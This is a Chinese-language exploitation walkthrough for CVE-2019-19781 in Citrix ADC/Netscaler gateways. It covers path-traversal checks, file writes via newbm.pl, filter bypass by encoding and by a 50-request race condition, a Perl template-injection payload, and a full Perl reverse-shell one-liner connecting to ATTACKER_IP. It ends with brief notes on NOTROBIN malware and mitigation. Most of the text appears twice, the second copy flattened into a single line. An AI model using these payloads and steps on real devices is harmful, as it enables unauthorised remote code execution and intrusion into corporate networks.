用CVE-2019-19781漏洞黑掉一台Citrix设备
字数 1545 2025-08-18 11:39:26

CVE-2019-19781 Citrix漏洞利用技术分析文档

漏洞概述

CVE-2019-19781(又称"Shitrix")是Citrix ADC/Netscaler网关设备中的一个高危漏洞,包含目录遍历和远程代码执行(RCE)风险。该漏洞影响全球158个国家超过8万家公司网络系统,攻击者可利用此漏洞在未授权情况下访问内部网络并执行任意代码。

漏洞原理

漏洞利用机制基于Citrix网关应用的模板处理过程:

  • 创建模板时会调用/vpn/../vpns/portal/scripts/newbm.pl脚本服务
  • 攻击者可构造Perl语言模板命令作为Payload
  • 将Payload插入XML文件形成<xml_name>.xml
  • 请求/vpn/../vpns/portal/<xml_name>.xml时触发命令执行

漏洞验证

  1. 目录遍历验证

    • 发起GET请求:/vpn/../vpns/cfg/smb.conf
    • 成功响应则确认存在目录遍历漏洞
  2. RCE验证

    • 尝试使用公开的bash命令行exploit
    • 观察是否返回预期结果

漏洞利用详细步骤

1. 文件写入测试

使用Burp Suite进行以下操作:

  • /vpn/../vpns/portal/scripts/newbm.pl发起POST请求
  • 生成包含bookmark内容的XML文件
  • 观察响应中是否出现"Bookmark Added"成功消息

2. 权限测试

两种分析方法:

  1. 测试/vpn/目录写权限

    • 使用rmbm.pl请求删除XML中的Bookmark内容(不删除XML文件本身)
    • 检查test2.xml中Bookmark内容是否被删除
  2. 测试黑白名单

    • 在Bookmark参数title中写入Payload测试
    • 留空title参数测试XML生成

3. 绕过限制技术

当遇到限制时可采用以下方法:

  • 字符编码:对关键字符如"BLOCK"进行多种编码尝试
  • 条件竞争(Race Condition)
    • 同时对XML文件发起50个并发请求
    • 同时发起Bookmark创建请求
    • 利用时间差在XML被过滤前触发Payload

4. Payload构造

基础Payload

[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]

反弹Shell Payload(适用于无python/netcat环境):

perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

编码转换

  • 将上述Payload转换为包含chr()方法的eval形式
  • 进行适当的编码替换以适应Perl Template环境

恶意软件NOTROBIN影响

  • FireEye披露NOTROBIN恶意软件利用此漏洞
  • 会删除其他攻击者上传的包含"BLOCK"字符的XML文件
  • 建立独有后门控制
  • 表现为Citrix设备中存在NOTROBIN后门进程

防御与修复建议

对于Citrix用户

  • 参照Citrix官方发布的缓解措施进行修复
  • 检查系统是否存在NOTROBIN恶意进程

对于红队测试者

  • 遇到"404 Not Found"响应时考虑:
    1. 目标设备可能已应用补丁
    2. 可能已被NOTROBIN感染
  • 可尝试"目录遍历+条件竞争+文件写入+命令执行"组合技术

参考资源

  • Citrix官方缓解措施
  • FireEye关于NOTROBIN的分析报告
  • 原始漏洞披露信息

技术要点总结

  1. 漏洞利用链:目录遍历 → 文件写入 → 命令执行
  2. 关键路径:/vpn/../vpns/portal/scripts/newbm.pl
  3. 绕过技术:字符编码、条件竞争
  4. 特殊考虑:NOTROBIN恶意软件干扰
  5. 反弹Shell构造:Perl Socket方法替代传统方式

本文档涵盖了CVE-2019-19781漏洞从验证到利用的完整技术细节,包括实际测试中遇到的限制和解决方案,为安全研究和防御提供了全面参考。

CVE-2019-19781 Citrix漏洞利用技术分析文档 漏洞概述 CVE-2019-19781(又称"Shitrix")是Citrix ADC/Netscaler网关设备中的一个高危漏洞,包含目录遍历和远程代码执行(RCE)风险。该漏洞影响全球158个国家超过8万家公司网络系统,攻击者可利用此漏洞在未授权情况下访问内部网络并执行任意代码。 漏洞原理 漏洞利用机制基于Citrix网关应用的模板处理过程: 创建模板时会调用 /vpn/../vpns/portal/scripts/newbm.pl 脚本服务 攻击者可构造Perl语言模板命令作为Payload 将Payload插入XML文件形成 <xml_name>.xml 请求 /vpn/../vpns/portal/<xml_name>.xml 时触发命令执行 漏洞验证 目录遍历验证 : 发起GET请求: /vpn/../vpns/cfg/smb.conf 成功响应则确认存在目录遍历漏洞 RCE验证 : 尝试使用公开的bash命令行exploit 观察是否返回预期结果 漏洞利用详细步骤 1. 文件写入测试 使用Burp Suite进行以下操作: 向 /vpn/../vpns/portal/scripts/newbm.pl 发起POST请求 生成包含bookmark内容的XML文件 观察响应中是否出现"Bookmark Added"成功消息 2. 权限测试 两种分析方法: 测试/vpn/目录写权限 : 使用 rmbm.pl 请求删除XML中的Bookmark内容(不删除XML文件本身) 检查test2.xml中Bookmark内容是否被删除 测试黑白名单 : 在Bookmark参数title中写入Payload测试 留空title参数测试XML生成 3. 绕过限制技术 当遇到限制时可采用以下方法: 字符编码 :对关键字符如"BLOCK"进行多种编码尝试 条件竞争(Race Condition) : 同时对XML文件发起50个并发请求 同时发起Bookmark创建请求 利用时间差在XML被过滤前触发Payload 4. Payload构造 基础Payload : 反弹Shell Payload (适用于无python/netcat环境): 编码转换 : 将上述Payload转换为包含chr()方法的eval形式 进行适当的编码替换以适应Perl Template环境 恶意软件NOTROBIN影响 FireEye披露NOTROBIN恶意软件利用此漏洞 会删除其他攻击者上传的包含"BLOCK"字符的XML文件 建立独有后门控制 表现为Citrix设备中存在NOTROBIN后门进程 防御与修复建议 对于Citrix用户 参照Citrix官方发布的缓解措施进行修复 检查系统是否存在NOTROBIN恶意进程 对于红队测试者 遇到"404 Not Found"响应时考虑: 目标设备可能已应用补丁 可能已被NOTROBIN感染 可尝试"目录遍历+条件竞争+文件写入+命令执行"组合技术 参考资源 Citrix官方缓解措施 FireEye关于NOTROBIN的分析报告 原始漏洞披露信息 技术要点总结 漏洞利用链:目录遍历 → 文件写入 → 命令执行 关键路径: /vpn/../vpns/portal/scripts/newbm.pl 绕过技术:字符编码、条件竞争 特殊考虑:NOTROBIN恶意软件干扰 反弹Shell构造:Perl Socket方法替代传统方式 本文档涵盖了CVE-2019-19781漏洞从验证到利用的完整技术细节,包括实际测试中遇到的限制和解决方案,为安全研究和防御提供了全面参考。